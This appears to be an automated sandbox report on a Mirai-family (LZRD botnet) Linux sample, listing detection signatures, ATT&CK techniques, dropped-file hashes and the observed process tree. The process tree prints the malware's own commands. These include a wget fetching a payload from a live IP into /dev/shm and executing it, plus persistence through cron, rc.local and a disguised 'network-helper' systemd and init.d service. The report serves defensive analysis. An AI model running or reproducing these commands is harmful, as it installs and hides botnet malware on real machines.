Overview

overview

10

Static

static

1

d0d585f6fb...43eb62

ubuntu-18.04-amd64

10

d0d585f6fb...43eb62

debian-9-armhf

10

d0d585f6fb...43eb62

debian-9-mips

d0d585f6fb...43eb62

debian-9-mipsel

Analysis

  • max time kernel
    2s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/07/2026, 15:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
  • Size 5KB
  • Sample260730-s8s46a1eqf
  • SHA256 d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetlzrddefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalationupx

Malware Config

Extracted

Family

  • mirai

Botnet

  • LZRD

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Writes file to system bin folder 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 4 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
    /tmp/d0d585f6fb79740adf8ce8165db6c5d391e4a3ade4fa5d8e54ae439c6b43eb62
    1⤵
    • Executes dropped EXE
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Writes file to shm directory
    PID:1490
    • /bin/uname
      uname -m
      2⤵
        PID:1492
      • /bin/pidof
        pidof sdfjgnjsdf sdfjgnjsdf.x86_64
        2⤵
        • Reads runtime system information
        PID:1493
      • /usr/bin/touch
        touch /dev/shm/.w
        2⤵
        • Writes file to shm directory
        PID:1496
      • /bin/rm
        rm -f /dev/shm/.w
        2⤵
          PID:1497
        • /usr/bin/touch
          touch /dev/shm/test_exec_1490
          2⤵
          • Writes file to shm directory
          PID:1498
        • /bin/rm
          rm -f /dev/shm/test_exec_1490
          2⤵
            PID:1499
          • /bin/chmod
            chmod 755 /dev/shm/.ex_1490
            2⤵
            • File and Directory Permissions Modification
            PID:1500
          • /dev/shm/.ex_1490
            /dev/shm/.ex_1490
            2⤵
              PID:1501
            • /bin/rm
              rm -f /dev/shm/.ex_1490
              2⤵
                PID:1502
              • /bin/rm
                rm -f /dev/shm/sdfjgnjsdf.x86_64
                2⤵
                  PID:1504
                • /usr/bin/wget
                  wget -q "--timeout=10" http://94.154.43.46/static/js/sdfjgnjsdf.x86_64 -O /dev/shm/sdfjgnjsdf.x86_64
                  2⤵
                  • Writes file to shm directory
                  PID:1505
                • /bin/chmod
                  chmod 755 /dev/shm/sdfjgnjsdf.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1508
                • /dev/shm/sdfjgnjsdf.x86_64
                  /dev/shm/sdfjgnjsdf.x86_64
                  2⤵
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  PID:1511
                • /bin/sleep
                  sleep 2
                  2⤵
                    PID:1510
                  • /bin/mkdir
                    mkdir -p /var/lib/.system
                    2⤵
                    • Reads runtime system information
                    PID:1519
                  • /bin/cp
                    cp /dev/shm/sdfjgnjsdf.x86_64 /var/lib/.system/sdfjgnjsdf.x86_64
                    2⤵
                    • Reads runtime system information
                    PID:1520
                  • /dev/shm/sdfjgnjsdf.x86_64
                    /dev/shm/sdfjgnjsdf.x86_64
                    2⤵
                    • Modifies Watchdog functionality
                    • Writes file to system bin folder
                    PID:1521
                  • /bin/chmod
                    chmod 755 /var/lib/.system/sdfjgnjsdf.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1522
                  • /bin/grep
                    grep -v sdfjgnjsdf
                    2⤵
                      PID:1526
                    • /bin/grep
                      grep -v /var/lib/.system/sdfjgnjsdf.x86_64
                      2⤵
                        PID:1525
                      • /usr/bin/crontab
                        crontab -
                        2⤵
                        • Creates/modifies Cron job
                        PID:1527
                      • /usr/bin/crontab
                        crontab -l
                        2⤵
                          PID:1524
                        • /usr/bin/crontab
                          crontab -
                          2⤵
                          • Creates/modifies Cron job
                          PID:1529
                        • /usr/bin/crontab
                          crontab -l
                          2⤵
                            PID:1530
                          • /bin/chmod
                            chmod +x /etc/rc.local
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1531
                          • /bin/cat
                            cat
                            2⤵
                              PID:1532
                            • /bin/systemctl
                              systemctl daemon-reload
                              2⤵
                              • Reads runtime system information
                              PID:1533
                            • /bin/systemctl
                              systemctl enable network-helper.service
                              2⤵
                              • Reads runtime system information
                              PID:1556
                            • /bin/systemctl
                              systemctl start network-helper.service
                              2⤵
                              • Reads runtime system information
                              PID:1577
                            • /bin/cat
                              cat
                              2⤵
                                PID:1583
                              • /bin/chmod
                                chmod 755 /etc/init.d/network-helper
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1585
                              • /usr/sbin/update-rc.d
                                update-rc.d network-helper defaults
                                2⤵
                                  PID:1586
                                  • /usr/local/sbin/systemctl
                                    systemctl daemon-reload
                                    3⤵
                                      PID:1587
                                    • /usr/local/bin/systemctl
                                      systemctl daemon-reload
                                      3⤵
                                        PID:1587
                                      • /usr/sbin/systemctl
                                        systemctl daemon-reload
                                        3⤵
                                          PID:1587
                                        • /usr/bin/systemctl
                                          systemctl daemon-reload
                                          3⤵
                                            PID:1587
                                          • /sbin/systemctl
                                            systemctl daemon-reload
                                            3⤵
                                              PID:1587
                                            • /bin/systemctl
                                              systemctl daemon-reload
                                              3⤵
                                              • Reads runtime system information
                                              PID:1587
                                          • /bin/rm
                                            rm -f /dev/shm/sdfjgnjsdf.x86_64
                                            2⤵
                                              PID:1608

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Cron

                                                1
                                                T1053.003

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                3
                                                T1547

                                                XDG Autostart Entries

                                                1
                                                T1547.013

                                                Boot or Logon Initialization Scripts

                                                2
                                                T1037

                                                RC Scripts

                                                2
                                                T1037.004

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Systemd Service

                                                1
                                                T1543.002

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Cron

                                                1
                                                T1053.003

                                                Privilege Escalation

                                                Boot or Logon Autostart Execution

                                                3
                                                T1547

                                                XDG Autostart Entries

                                                1
                                                T1547.013

                                                Boot or Logon Initialization Scripts

                                                2
                                                T1037

                                                RC Scripts

                                                2
                                                T1037.004

                                                Create or Modify System Process

                                                1
                                                T1543

                                                Systemd Service

                                                1
                                                T1543.002

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Cron

                                                1
                                                T1053.003

                                                Defense Evasion

                                                File and Directory Permissions Modification

                                                1
                                                T1222

                                                Linux and Mac File and Directory Permissions Modification

                                                1
                                                T1222.002

                                                Impair Defenses

                                                1
                                                T1562

                                                Credential Access

                                                Discovery

                                                Lateral Movement

                                                Collection

                                                Command and Control

                                                Exfiltration

                                                Impact

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                .ex_1490
                                                • Path /dev/shm/.ex_1490
                                                • Size 10B
                                                • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                • MD5 SHA1 SHA512
                                                Submit Download

                                                sdfjgnjsdf.x86_64
                                                • Path /dev/shm/sdfjgnjsdf.x86_64
                                                • Size 73KB
                                                • SHA256 dfca8d3c63dfc6da6f47fd02c8b0c4aab2488a55b331e0ad0e8c124c33a7d678
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                network-helper
                                                • Path /etc/init.d/network-helper
                                                • Size 580B
                                                • SHA256 9e4d2c886dee9cde3608c2abab81c0c9630d59a28fc9ecda85e3255f2024dc58
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                rc.local
                                                • Path /etc/rc.local
                                                • Size 54B
                                                • SHA256 12e309fcc680e16892337635ab22ccb95d73784fcf7b323b3d05bc48b8d39093
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                network-helper.service
                                                • Path /etc/systemd/system/network-helper.service
                                                • Size 295B
                                                • SHA256 81bae905e8dcf37fba84d0b5b9083afcc88af93f715e2b8caaae952a8b90b57d
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                tmp.DbpTsv
                                                • Path /var/spool/cron/crontabs/tmp.DbpTsv
                                                • Size 175B
                                                • SHA256 9868861fcb2a2cecfdacb8e7328ad752ecea06bd4464600a669290ebc5d06ddb
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                tmp.ZUUHqu
                                                • Path /var/spool/cron/crontabs/tmp.ZUUHqu
                                                • Size 239B
                                                • SHA256 dcc8d6081e1df092ec7b0d48a7af25957953be491927c4a4be3e84b229e3d2ae
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download